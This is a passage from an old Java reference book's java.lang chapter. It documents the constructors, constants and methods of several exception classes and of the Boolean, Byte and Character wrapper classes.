fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Error, IncompatibleClassChangeError, Throwable

Previous | Home | Next
Writer | Book Index | ArithmeticException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] ArithmeticException

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

ArithmeticException

Name

ArithmeticException

Synopsis

Class Name:

java.lang.ArithmeticException

Superclass:

java.lang.RuntimeException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

An ArithmeticException is thrown to indicate an exceptional arithmetic condition, such as integer division by zero.

Class Summary

public class java.lang.ArithmeticException
           extends java.lang.RuntimeException {
  // Constructors
  public ArithmeticException();
  public ArithmeticException(String s);
}

Constructors

ArithmeticException

public ArithmeticException()

Description

This constructor creates an ArithmeticException with no associated detail message.

public ArithmeticException(String s)

Parameters

s

The detail message.

Description

This constructor creates ArithmeticException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, RuntimeException, Throwable

Previous | Home | Next
AbstractMethodError | Book Index | ArrayIndexOutOfBoundsException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] ArrayIndexOutOfBoundsException

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

ArrayIndexOutOfBoundsException

Name

ArrayIndexOutOfBoundsException

Synopsis

Class Name:

java.lang.ArrayIndexOutOfBoundsException

Superclass:

java.lang.IndexOutOfBoundsException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

An ArrayIndexOutOfBoundsException is thrown when an out-of-range index is detected by an array object. An out-of-range index occurs when the index is less than zero or greater than or equal to the size of the array.

Class Summary

public class java.lang.ArrayIndexOutOfBoundsException
             extends java.lang.IndexOutOfBoundsException {
  // Constructors
  public ArrayIndexOutOfBoundsException();
  public ArrayIndexOutOfBoundsException(int index);
  public ArrayIndexOutOfBoundsException(String s);
}

Constructors

ArrayIndexOutOfBoundsException

public ArrayIndexOutOfBoundsException()

Description

This constructor creates an ArrayIndexOutOfBoundsException with no associated detail message.

public ArrayIndexOutOfBoundsException(int index)

Parameters

index

The index value that was out-of-bounds

Description

This constructor creates an ArrayIndexOutOfBoundsException with an associated message that mentions the specified index.

public ArrayIndexOutOfBoundsException(String s)

Parameters

s

The detail message.

Description

This constructor creates an ArrayIndexOutOfBoundsException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, IndexOutOfBoundsException, RuntimeException, Throwable

Previous | Home | Next
ArithmeticException | Book Index | ArrayStoreException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] ArrayStoreException

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

ArrayStoreException

Name

ArrayStoreException

Synopsis

Class Name:

java.lang.ArrayStoreException

Superclass:

java.lang.RuntimeException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

An ArrayStoreException is thrown when there is an attempt to store a value in an array element that is incompatible with the type of the array.

Class Summary

public class java.lang.ArrayStoreException
             extends java.lang.RuntimeException {
  // Constructors
  public ArrayStoreException();
  public ArrayStoreException(String s);
}

Constructors

ArrayStoreException

public ArrayStoreException()

Description

This constructor creates an ArrayStoreException with no associated detail message.

public ArrayStoreException(String s)

Parameters

s

The detail message.

Description

This constructor creates an ArrayStoreException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, RuntimeException, Throwable

Previous | Home | Next
ArrayIndexOutOfBoundsException | Book Index | Boolean
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Boolean

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

Boolean

Name

Boolean

Synopsis

Class Name:

java.lang.Boolean

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.io.Serializable

Availability:

JDK 1.0 or later

Description

The Boolean class provides an object wrapper for a boolean value. This is useful when you need to treat a boolean value as an object. For example, there are a number of utility methods that take a reference to an Object as one of their arguments. You cannot specify a boolean value for one of these arguments, but you can provide a reference to a Boolean object that encapsulates the boolean value. Furthermore, as of JDK 1.1, the Boolean class is necessary to support the Reflection API and class literals.

Class Summary

public final class java.lang.Boolean {
    // Constants
    public final static Boolean FALSE;
    public final static Boolean TRUE;
    public final static Class TYPE;                    // New in 1.1
    // Constructors
    public Boolean(boolean value);
    public Boolean(String s);
    // Class Methods
    public static boolean getBoolean(String name);
    public static Boolean valueOf(String s);
    // Instance Methods
    public boolean booleanValue();
    public boolean equals(Object obj);
    public int hashCode();
    public String toString();
}

Constants

TRUE

public static final Boolean TRUE

Description

A constant Boolean object that has the value true.

FALSE

public static final Boolean FALSE

Description

A constant Boolean object that has the value false.

TYPE

public static final Class TYPE

Availability

New as of JDK 1.1

Description

The Class object that represents the type boolean. It is always true that Boolean.TYPE == boolean.class.

Constructors

Boolean

public Boolean(boolean value)

Parameters

value

The boolean value to be made into a Boolean object.

Description

Constructs a Boolean object with the given value.

public Boolean(String s)

Parameters

s

The string to be made into a Boolean object.

Description

Constructs a Boolean object with the value specified by the given string. If the string equals 'true' (ignoring case), the value of the object is true; otherwise it is false.

Class Methods

getBoolean

public static boolean getBoolean(String name)

Parameters

name

The name of a system property.

Returns

The boolean value of the system property.

Description

This methods retrieves the boolean value of a named system property.

valueOf

public static Boolean valueOf(String s)

Parameters

s

The string to be made into a Boolean object.

Returns

A Boolean object with the value specified by the given string.

Description

This method returns a Boolean object with the value true if the string equals "true" (ignoring case); otherwise the value of the object is false.

Instance Methods

booleanValue

public boolean booleanValue()

Returns

The boolean value contained by the object.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of Boolean, and it contains the same value as the object this method is associated with.

hashCode

public int hashCode()

Returns

A hashcode based on the boolean value of the object.

Overrides

Object.hashCode()

toString

public String toString()

Returns

"true" if the value of the object is true; "false" otherwise.

Overrides

Object.toString()

Description

This method returns a string representation of the Boolean object.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Class, Object, Serializable, System

Previous | Home | Next
ArrayStoreException | Book Index | Byte
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Byte

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

Byte

Name

Byte

Synopsis

Class Name:

java.lang.Byte

Superclass:

java.lang.Number

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The Byte class provides an object wrapper for a byte value. This is useful when you need to treat a byte value as an object. For example, there are a number of utility methods that take a reference to an Object as one of their arguments. You cannot specify a byte value for one of these arguments, but you can provide a reference to a Byte object that encapsulates the byte value. Furthermore, the Byte class is necessary as of JDK 1.1 to support the Reflection API and class literals.

The Byte class also provides a number of utility methods for converting byte values to other primitive types and for converting byte values to strings and vice versa.

Class Summary

public final class java.lang.Byte extends java.lang.Number {
  // Constants
  public static final byte MAX_VALUE;
  public static final byte MIN_VALUE;
  public static final Class TYPE;
  // Constructors
  public Byte(byte value);
  public Byte(String s);
  // Class Methods
  public static Byte decode(String nm);
  public static byte parseByte(String s);
  public static byte parseByte(String s, int radix);
  public static String toString(byte b);
  public static Byte valueOf(String s, int radix);
  public static Byte valueOf(String s);
  // Instance Methods
  public byte byteValue();
  public double doubleValue;
  public boolean equals(Object obj);
  public float floatValue
  public int hashCode();
  public int intValue();
  public long longValue();
  public short shortValue();
  public String toString();
}

Constants

MAX_VALUE

public static final byte MAX_VALUE= 127

The largest value that can be represented by a byte.

MIN_VALUE

public static final byte MIN_VALUE= -128

The smallest value that can be represented by a byte.

TYPE

public static final Class TYPE

The Class object that represents the primitive type byte. It is always true that Byte.TYPE == byte.class.

Constructors

Byte

public Byte(byte value)

Parameters

value

The byte value to be encapsulated by this object.

Description

Creates a Byte object with the specified byte value.

public Byte(String s) throws NumberFormatException

Parameters

s

The string to be made into a Byte object.

Throws

NumberFormatException

If the sequence of characters in the given String does not form a valid byte literal.

Description

Constructs a Byte object with the value specified by the given string. The string should consist of one or more digit characters. The digit characters can be preceded by a single `-' character. If the string contains any other characters, the constructor throws a NumberFormatException.

Class Methods

decode

public static Byte decode(String nm) throws NumberFormatException

Parameters

nm

A String representation of the value to be encapsulated by a Byte object. If the string begins with # or 0x, it is a radix 16 representation of the value. If the string begins with 0, it is a radix 8 representation of the value. Otherwise, it is assumed to be a radix 10 representation of the value.

Returns

A Byte object that encapsulates the given value.

Throws

NumberFormatException

If the String contains any non-digit characters other than a leading minus sign or the value represented by the String is less than Byte.MIN_VALUE or greater than Byte.MAX_VALUE.

Description

This method returns a Byte object that encapsulates the given value.

parseByte

public static byte parseByte(String s) throws NumberFormatException

Parameters

s

The String to be converted to a byte value.

Returns

The numeric value of the byte represented by the String object.

Throws

NumberFormatException

If the String does not contain a valid representation of a byte or the value represented by the String is less than Byte.MIN_VALUE or greater than Byte.MAX_VALUE.

Description

This method returns the numeric value of the byte represented by the contents of the given String object. The String must contain only decimal digits, except that the first character may be a minus sign.

 public static byte parseByte(String s, int radix) throws NumberFormatException

Parameters

s

The String to be converted to a byte value.

radix

The radix used in interpreting the characters in the String as digits. This value must be in the range Character.MIN_RADIX to Character.MAX_RADIX. If radix is in the range 2 through 10, only characters for which the Character.isDigit() method returns true are considered to be valid digits. If radix is in the range 11 through 36, characters in the ranges `A' through `Z' and `a' through `z' may be considered valid digits.

Returns

The numeric value of the byte represented by the String object in the specified radix.

Throws

NumberFormatException

If the String does not contain a valid representation of a byte, radix is not in the appropriate range, or the value represented by the String is less than Byte.MIN_VALUE or greater than Byte.MAX_VALUE.

Description

This method returns the numeric value of the byte represented by the contents of the given String object in the specified radix. The String must contain only valid digits of the specified radix, except that the first character may be a minus sign. The digits are parsed in the specified radix to produce the numeric value.

toString

public String toString(byte b)

Parameters

b

The byte value to be converted to a string.

Returns

The string representation of the given value.

Description

This method returns a String object that contains the decimal representation of the given value.

This method returns a string that begins with `-' if the given value is negative. The rest of the string is a sequence of one or more of the characters `0', `1', `2', `3', `4', `5', `6', `7', `8', and `9'. This method returns "0" if its argument is 0. Otherwise, the string returned by this method does not begin with "0" or "-0".

valueOf

public static Byte valueOf(String s) throws NumberFormatException

Parameters

s

The string to be made into a Byte object.

Returns

The Byte object constructed from the string.

Throws

NumberFormatException

If the String does not contain a valid representation of a byte or the value represented by the String is less than Byte.MIN_VALUE or greater than Byte.MAX_VALUE.

Description

Constructs a Byte object with the value specified by the given string. The string should consist of one or more digit characters. The digit characters can be preceded by a single `-' character. If the string contains any other characters, the method throws a NumberFormatException.

 public static Byte valueOf(String s, int radix) throws NumberFormatException

Parameters

s

The string to be made into a Byte object.

radix

The radix used in converting the string to a value. This value must be in the range Character.MIN_RADIX to Character.MAX_RADIX.

Returns

The Byte object constructed from the string.

Throws

NumberFormatException

If the String does not contain a valid representation of a byte, radix is not in the appropriate range, or the value represented by the String is less than Byte.MIN_VALUE or greater than Byte.MAX_VALUE.

Description

Constructs a Byte object with the value specified by the given string in the specified radix. The string should consist of one or more digit characters or characters in the range `A' to `Z' or `a' to `z' that are considered digits in the given radix. The digit characters can be preceded by a single `-' character. If the string contains any other characters, the method throws a NumberFormatException.

Instance Methods

byteValue

public byte byteValue()

Returns

The value of this object as a byte.

Overrides

Number.byteValue()

Description

This method returns the value of this object as a byte.

doubleValue

public double doubleValue()

Returns

The value of this object as a double.

Overrides

Number.doubleValue()

Description

This method returns the value of this object as a double.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of Byte and it contains the same value as the object this method is associated with.

floatValue

public float floatValue()

Returns

The value of this object as a float.

Overrides

Number.floatValue()

Description

This method returns the value of this object as a float.

hashCode

public int hashCode()

Returns

A hashcode based on the byte value of the object.

Overrides

Object.hashCode()

Description

This method returns a hashcode computed from the value of this object.

intValue

public int intValue()

Returns

The value of this object as an int.

Overrides

Number.intValue()

Description

This method returns the value of this object as an int.

longValue

public long longValue()

Returns

The value of this object as a long.

Overrides

Number.longValue()

Description

This method returns the value of this object as a long.

shortValue

public short shortValue()

Returns

The value of this object as a short.

Overrides

Number.shortValue()

Description

This method returns the value of this object as a short.

toString

public String toString()

Returns

The string representation of the value of this object.

Overrides

Object.toString()

Description

This method returns a String object that contains the decimal representation of the value of this object.

This method returns a string that begins with `-` if the given value is negative. The rest of the string is a sequence of one or more of the characters `0', `1', `2', `3', `4', `5', `6', `7', `8', and `9'. This method returns "0" if its argument is 0. Otherwise, the string returned by this method does not begin with "0" or "-0".

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Character, Class, Double, Float, Integer, Long, Number, Short, String

Previous | Home | Next
Boolean | Book Index | Character
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Character

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

Character

Name

Character

Synopsis

Class Name:

java.lang.Character

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.io.Serializable

Availability:

JDK 1.0 or later

Description

The Character class provides an object wrapper for a char value. This is useful when you need to treat a char value as an object. For example, there are a number of utility methods that take a reference to an Object as one of their arguments. You cannot specify a char value for one of these arguments, but you can provide a reference to a Character object that encapsulates the char value. Furthermore, as of JDK 1.1, the Character class is necessary to support the Reflection API and class literals.

In Java, Character objects represent values defined by the Unicode standard. Unicode is defined by an organization called the Unicode Consortium. The defining document for Unicode is The Unicode Standard, Version 2.0 (ISBN 0-201-48345-9). More recent information about Unicode is available at http://unicode.org. Appendix A, The Unicode 2.0 Character Set, contains a table that lists the characters defined by the Unicode 2.0 standard.

The Character class provides some utility methods, such as methods for determining the type (e.g., uppercase or lowercase, digit or letter) of a character and for converting from uppercase to lowercase. The logic for these utility methods is based on a Unicode attribute table that is part of the Unicode standard. That table is available at ftp://unicode.org/pub/2.0-Update/UnicodeData-2.0.14.txt.

Some of the methods in the Character class are concerned with characters that are digits; these characters are used by a number of other classes to convert strings that contain numbers into actual numeric values. The digit-related methods all use a radix value to interpret characters. The radix is the numeric base used to represent numbers as characters or strings. Octal is a radix 8 representation, while hexadecimal is a radix 16 representation. The methods that require a radix parameter use it to determine which characters should be treated as valid digits. In radix 2, only the characters `0' and `1' are valid digits. In radix 16, the characters `0' through `9', `a' through `z', and `A' through `Z' are considerd valid digits.

Class Summary

public final class java.lang.Character extends java.lang.Object
                                       implements java.io.Serializable {
    // Constants
    public final static byte COMBINING_SPACING_MARK;        // New in 1.1
    public final static byte CONNECTOR_PUNCTUATION;         // New in 1.1
    public final static byte CONTROL;                       // New in 1.1
    public final static byte CURRENCY_SYMBOL;               // New in 1.1
    public final static byte DASH_PUNCTUATION;              // New in 1.1
    public final static byte DECIMAL_DIGIT_NUMBER;          // New in 1.1
    public final static byte ENCLOSING_MARK;                // New in 1.1
    public final static byte END_PUNCTUATION;               // New in 1.1
    public final static byte FORMAT;                        // New in 1.1
    public final static byte LETTER_NUMBER;                 // New in 1.1
    public final static byte LINE_SEPARATOR;                // New in 1.1
    public final static byte LOWERCASE_LETTER;              // New in 1.1
    public final static byte MATH_SYMBOL;                   // New in 1.1
    public final static int MAX_RADIX;
    public final static char MAX_VALUE;
    public final static int MIN_RADIX;
    public final static char MIN_VALUE;
    public final static byte MODIFIER_LETTER;               // New in 1.1
    public final static byte MODIFIER_SYMBOL;               // New in 1.1
    public final static byte NON_SPACING_MARK;              // New in 1.1
    public final static byte OTHER_LETTER;                  // New in 1.1
    public final static byte OTHER_NUMBER;                  // New in 1.1
    public final static byte OTHER_PUNCTUATION;             // New in 1.1
    public final static byte OTHER_SYMBOL;                  // New in 1.1
    public final static byte PARAGRAPH_SEPARATOR;           // New in 1.1
    public final static byte PRIVATE_USE;                   // New in 1.1
    public final static byte SPACE_SEPARATOR;               // New in 1.1
    public final static byte START_PUNCTUATION;             // New in 1.1
    public final static byte SURROGATE;                     // New in 1.1
    public final static byte TITLECASE_LETTER;              // New in 1.1
    public final static Class TYPE;                         // New in 1.1
    public final static byte UNASSIGNED;                    // New in 1.1
    public final static byte UPPERCASE_LETTER;              // New in 1.1
    // Constructors
    public Character(char value);
    // Class Methods
    public static int digit(char ch, int radix);
    public static char forDigit(int digit, int radix);
    public static int getNumericValue(char ch);             // New in 1.1
    public static int getType(char ch);                     // New in 1.1
    public static boolean isDefined(char ch);
    public static boolean isDigit(char ch);
    public static boolean isIdentifierIgnorable(char ch);   // New in 1.1
    public static boolean isISOControl(char ch);            // New in 1.1
    public static boolean isJavaIdentifierPart(char ch);    // New in 1.1
    public static boolean isJavaIdentifierStart(char ch);   // New in 1.1
    public static boolean isJavaLetter(char ch);        // Deprecated in 1.1
    public static boolean isJavaLetterOrDigit(char ch); // Deprecated in 1.1
    public static boolean isLetter(char ch);
    public static boolean isLetterOrDigit(char ch);
    public static boolean isLowerCase(char ch);
    public static boolean isSpace(char ch);             // Deprecated in 1.1
    public static boolean isSpaceChar(char ch);             // New in 1.1
    public static boolean isTitleCase(char ch);
    public static boolean isUnicodeIdentifierPart(char ch); // New in 1.1
    public static boolean isUnicodeIdentifierStart(char ch);// New in 1.1
    public static boolean isUpperCase(char ch);
    public static boolean isWhitespace(char ch);            // New in 1.1
    public static char toLowerCase(char ch);
    public static char toTitleCase(char ch);
    public static char toUpperCase(char ch);
    // Instance Methods
    public char charValue();
    public boolean equals(Object obj);
    public int hashCode();
    public String toString();
}

Constants

COMBINING_SPACING_MARK

public final static byte COMBINING_SPACING_MARK

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

CONNECTOR_PUNCTUATION

public final static byte CONNECTOR_PUNCTUATION

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

CONTROL

public final static byte CONTROL

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

CURRENCY_SYMBOL

public final static byte CURRENCY_SYMBOL

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

DASH_PUNCTUATION

public final static byte DASH_PUNCTUATION

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

DECIMAL_DIGIT_NUMBER

public final static byte DECIMAL_DIGIT_NUMBER

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

ENCLOSING_MARK

public final static byte ENCLOSING_MARK

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

END_PUNCTUATION

public final static byte END_PUNCTUATION

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

FORMAT

public final static byte FORMAT

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

LETTER_NUMBER

public final static byte LETTER_NUMBER

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

LINE_SEPARATOR

public final static byte LINE_SEPARATOR

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

LOWERCASE_LETTER

public final static byte LOWERCASE_LETTER

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

MATH_SYMBOL

public final static byte MATH_SYMBOL

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

MAX_RADIX

public static final int MAX_RADIX = 36

Description

The maximum value that can be specified for a radix.

MAX_VALUE

public final static char MAX_VALUE = '\ufff'f

Description

The largest value that can be represented by a char.

MIN_RADIX

public static final int MIN_RADIX = 2

Description

The minimum value that can be specified for a radix.

MIN_VALUE

public final static char MIN_VALUE = '\u0000'

Description

The smallest value that can be represented by a char.

MODIFIER_LETTER

public final static byte MODIFIER_LETTER

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

MODIFIER_SYMBOL

public final static byte MODIFIER_SYMBOL

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

NON_SPACING_MARK

public final static byte NON_SPACING_MARK

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

OTHER_LETTER

public final static byte OTHER_LETTER

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

OTHER_NUMBER

public final static byte OTHER_NUMBER

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

OTHER_PUNCTUATION

public final static byte OTHER_PUNCTUATION

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

OTHER_SYMBOL

public final static byte OTHER_SYMBOL

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

PARAGRAPH_SEPARATOR

public final static byte PARAGRAPH_SEPARATOR

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

PRIVATE_USE

public final static byte PRIVATE_USE

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

SPACE_SEPARATOR

public final static byte SPACE_SEPARATOR

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

START_PUNCTUATION

public final static byte START_PUNCTUATION

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

SURROGATE

public final static byte SURROGATE

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

TITLECASE_LETTER

public final static byte TITLECASE_LETTER

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

TYPE

public static final Class TYPE

Availability

New as of JDK 1.1

Description

The Class object that represents the type char. It is always true that Character.TYPE == char.class.

UNASSIGNED

public final static byte UNASSIGNED

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

UPPERCASE_LETTER

public final static byte UPPERCASE_LETTER

Availability

New as of JDK 1.1

Description

This constant can be returned by the getType() method as the general category of a Unicode character.

Constructors

Character

public Character(char value)

Parameters

value

The char value to be encapsulated by this object.

Description

Creates a Character object with the given char value.

Class Methods

digit

public static int digit(char ch, int radix)

Parameters

ch

A char value that is a legal digit in the given radix.

radix

The radix used in interpreting the specified character as a digit. If radix is in the range 2 through 10, only characters for which the isDigit() method returns true are considered to be valid digits. If radix is in the range 11 through 36, characters in the ranges `A' through `Z' and `a' through `z' may be considered valid digits.

Returns

The numeric value of the digit. This method returns -1 if the value of ch is not considered a valid digit, if radix is less than MIN_RADIX, or if radix is greater than MAX_RADIX.

Description

Returns the numeric value represented by a digit character. For example, digit('7',10) returns 7. If the value of ch is not a valid digit, the method returns -1. For example, digit('7',2) returns -1 because '7' is not a valid digit in radix 2. A number of methods in other classes use this method to convert strings that contain numbers to actual numeric values. The forDigit() method is an approximate inverse of this method.

If radix is greater than 10, characters in the range `A' to `A'+radix-11 are treated as valid digits. Such a character has the numeric value ch-`A'+10. By the same token, if radix is greater than 10, characters in the range `a' to `a'+radix-11 are treated as valid digits. Such a character has the numeric value ch-`a'+10.

forDigit

public static char forDigit(int digit, int radix)

Parameters

digit

The numeric value represented as a digit character.

radix

The radix used to represent the specified value.

Returns

The character that represents the digit corresponding to the specified numeric value. The method returns `\ 0' if digit is less than 0, if digit is equal to or greater than radix, if radix is less than MIN_RADIX, or if radix is greater than MAX_RADIX.

Description

This method returns the character that represents the digit corresponding to the specified numeric value. If digit is in the range 0 through 9, the method returns `0'+digit. If digit is in the range 10 through MAX_RADIX-1, the method returns `a'+digit-10. The method returns `\ 0' if digit is less than 0, if digit is equal to or greater than radix, if radix is less than MIN_RADIX, or if radix is greater than MAX_RADIX.

getNumericValue

public static int getNumericValue(char ch)

Availability

New as of JDK 1.1

Parameters

ch

A char value.

Returns

The Unicode numeric value of the character as a nonnegative integer. This method returns -1 if the character has no numeric value; it returns -2 if the character has a numeric value that is not a nonnegative integer, such as 1/2.

Description

This method returns the Unicode numeric value of the specified character as a nonnegative integer.

getType

public static int getType(char ch)

Availability

New as of JDK 1.1

Parameters

ch

A char value.

Returns

An int value that represents the Unicode general category type of the character.

Description

This method returns the Unicode general category type of the specified character. The value corresponds to one of the general category constants defined by Character.

isDefined

public static boolean isDefined(char ch)

Parameters

ch

A char value to be tested.

Returns

true if the specified character has an assigned meaning in the Unicode character set; otherwise false.

Description

This method returns true if the specified character value has an assigned meaning in the Unicode character set.

isDigit

public static boolean isDigit(char ch)

Parameters

ch

A char value to be tested.

Returns

true if the specified character is defined as a digit in the Unicode character set; otherwise false.

Description

This method determines whether or not the specified character is a digit, based on the definition of the character in Unicode.

isIdentifierIgnorable

public static boolean isIdentifierIgnorable(char ch)

Availability

New as of JDK 1.1

Parameters

ch

A char value to be tested.

Returns

true if the specified character is ignorable in a Java or Unicode identifier; otherwise false.

Description

This method determines whether or not the specified character is ignorable in a Java or Unicode identifier. The following characters are ignorable in a Java or Unicode identifier:

\u0000 - \u0008 \u000E - \u001B \u007F - \u009F

ISO control characters that aren't whitespace

\u200C - \u200F

Join controls

\u200A - \u200E

Bidirectional controls

\u206A - \u206F

Format controls

\uFEFF

Zero-width no-break space

isISOControl

public static boolean isISOControl(char ch)

Availability

New as of JDK 1.1

Parameters

ch

A char value to be tested.

Returns

true if the specified character is an ISO control character; otherwise false.

Description

This method determines whether or not the specified character is an ISO control character. A character is an ISO control character if it falls in the range \u0000 through \u001F or \u007F through \u009F.

isJavaIdentifierPart

public static boolean isJavaIdentifierPart(char ch)

Availability

New as of JDK 1.1

Parameters

ch

A char value to be tested.

Returns

true if the specified character can appear after the first character in a Java identifier; otherwise false.

Description

This method returns true if the specified character can appear in a Java identifier after the first character. A character is considered part of a Java identifier if and only if it is a letter, a digit, a currency symbol (e.g., $), a connecting punctuation character (e.g., _), a numeric letter (e.g., a Roman numeral), a combining mark, a nonspacing mark, or an ignorable control character.

isJavaIdentifierStart

public static boolean isJavaIdentifierStart(char ch)

Availability

New as of JDK 1.1

Parameters

ch

A char value to be tested.

Returns

true if the specified character can appear as the first character in a Java identifier; otherwise false.

Description

This method returns true if the specified character can appear in a Java identifier as the first character. A character is considered a start of a Java identifier if and only if it is a letter, a currency symbol (e.g., $), or a connecting punctuation character (e.g., _).

isJavaLetter

public static boolean isJavaLetter(char ch)

Availability

Deprecated as of JDK 1.1

Parameters

ch

A char value to be tested.

Returns

true if the specified character can appear as the first character in a Java identifier; otherwise false.

Description

This method returns true if the specified character can appear as the first character in a Java identifier. A character is considered a Java letter if and only if it is a letter, the character $, or the character _ . This method returns false for digits because digits are not allowed as the first character of an identifier.

This method is deprecated as of JDK 1.1. You should use isJavaIdentifierStart() instead.

isJavaLetterOrDigit

public static boolean isJavaLetterOrDigit(char ch)

Availability

Deprecated as of JDK 1.1

Parameters

ch

A char value to be tested.

Returns

true if the specified character can appear after the first character in a Java identifier; otherwise false.

Description

This method returns true if the specified character can appear in a Java identifier after the first character. A character is considered a Java letter or digit if and only if it is a letter, a digit, the character $, or the character _.

This method is deprecated as of JDK 1.1. You should use isJavaIdentifierPart() instead.

isLetter

public static boolean isLetter(char ch)

Parameters

ch

A char value to be tested.

Returns

true if the specified character is defined as a letter in the Unicode character set; otherwise false.

Description

This method determines whether or not the specified character is a letter, based on the definition of the character in Unicode. This method does not consider character values in ranges that have not been assigned meanings by Unicode to be letters.

isLetterOrDigit

public static boolean isLetterOrDigit(char ch)

Parameters

ch

A char value to be tested.

Returns

true if the specified character is defined as a letter in the Unicode character set; otherwise false.

Description

This method determines whether or not the specified character is a letter or a digit, based on the definition of the character in Unicode. There are some ranges that have not been assigned meanings by Unicode. If a character value is in one of these ranges, this method does not consider the character to be a letter.

isLowerCase

public static boolean isLowerCase (char ch)

Parameters

ch

A char value to be tested.

Returns

true if the specified character is defined as lowercase in the Unicode character set; otherwise false.

Description

